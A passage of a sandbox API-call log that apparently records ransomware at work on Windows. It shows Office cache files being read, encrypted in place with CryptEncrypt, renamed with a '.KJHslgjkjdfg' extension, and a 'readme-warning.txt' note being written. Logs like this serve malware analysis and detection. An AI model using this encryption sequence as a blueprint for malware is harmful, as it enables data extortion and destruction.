returned 1 [0166.335] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.335] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.335] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.336] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.342] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.345] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.345] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.346] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.346] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.346] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b2baa0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.346] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.349] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.352] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b2baa0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.352] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.353] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.353] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.353] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.353] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.353] SetEndOfFile (hFile=0x124) returned 1 [0166.356] GetProcessHeap () returned 0x2ef0000 [0166.357] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.357] GetProcessHeap () returned 0x2ef0000 [0166.357] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.357] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.kjhslgjkjdfg")) returned 1 [0166.357] CloseHandle (hObject=0x124) returned 1 [0166.357] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0166.358] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0166.358] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.359] GetProcessHeap () returned 0x2ef0000 [0166.359] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.359] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.359] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0166.359] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x5, lpOverlapped=0x0) returned 1 [0166.360] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.360] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.360] GetProcessHeap () returned 0x2ef0000 [0166.360] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0166.361] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0166.361] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.361] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0166.361] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0166.361] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0166.361] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0166.361] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.361] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0166.361] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.361] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.361] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.361] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x412b, lpOverlapped=0x0) returned 1 [0166.362] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x4130, dwBufLen=0x4130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x4130) returned 1 [0166.362] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.362] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x4130, lpOverlapped=0x0) returned 1 [0166.362] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.362] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.362] SetEndOfFile (hFile=0x124) returned 1 [0166.365] GetProcessHeap () returned 0x2ef0000 [0166.365] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0166.365] GetProcessHeap () returned 0x2ef0000 [0166.365] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.365] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0166.365] CloseHandle (hObject=0x124) returned 1 [0166.365] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0166.366] GetProcessHeap () returned 0x2ef0000 [0166.366] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.366] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.366] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0166.366] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.366] GetProcessHeap () returned 0x2ef0000 [0166.366] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0166.366] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.366] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0166.366] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.366] GetProcessHeap () returned 0x2ef0000 [0166.366] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0166.366] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.366] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0166.366] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.366] GetProcessHeap () returned 0x2ef0000 [0166.366] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0166.366] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.366] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0166.367] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.367] GetProcessHeap () returned 0x2ef0000 [0166.367] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0166.367] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.367] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0166.367] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.367] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0166.367] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0166.367] RegCloseKey (hKey=0x124) returned 0x0 [0166.367] GetProcessHeap () returned 0x2ef0000 [0166.367] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0166.367] GetProcessHeap () returned 0x2ef0000 [0166.367] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0166.367] GetProcessHeap () returned 0x2ef0000 [0166.368] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0166.368] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0166.368] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0166.368] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.368] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0166.368] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0166.368] GetProcessHeap () returned 0x2ef0000 [0166.368] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0166.368] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0166.368] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0166.368] GetProcessHeap () returned 0x2ef0000 [0166.368] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0166.368] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0166.368] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.369] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0166.370] CloseHandle (hObject=0x124) returned 1 [0166.371] GetProcessHeap () returned 0x2ef0000 [0166.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0166.371] GetProcessHeap () returned 0x2ef0000 [0166.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0166.371] GetProcessHeap () returned 0x2ef0000 [0166.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0166.371] GetProcessHeap () returned 0x2ef0000 [0166.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.371] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0166.371] GetProcessHeap () returned 0x2ef0000 [0166.371] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0166.371] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0166.371] GetProcessHeap () returned 0x2ef0000 [0166.371] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0166.371] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0166.374] GetProcessHeap () returned 0x2ef0000 [0166.374] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0166.374] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0166.374] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0166.374] GetProcessHeap () returned 0x2ef0000 [0166.375] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0166.375] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.375] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=1992192) returned 1 [0166.375] GetProcessHeap () returned 0x2ef0000 [0166.375] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.375] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.375] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.375] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.375] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.375] GetProcessHeap () returned 0x2ef0000 [0166.375] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.375] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0166.375] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.375] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0166.377] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.378] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0166.378] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0166.378] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.378] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0166.378] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.378] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.378] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.378] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, 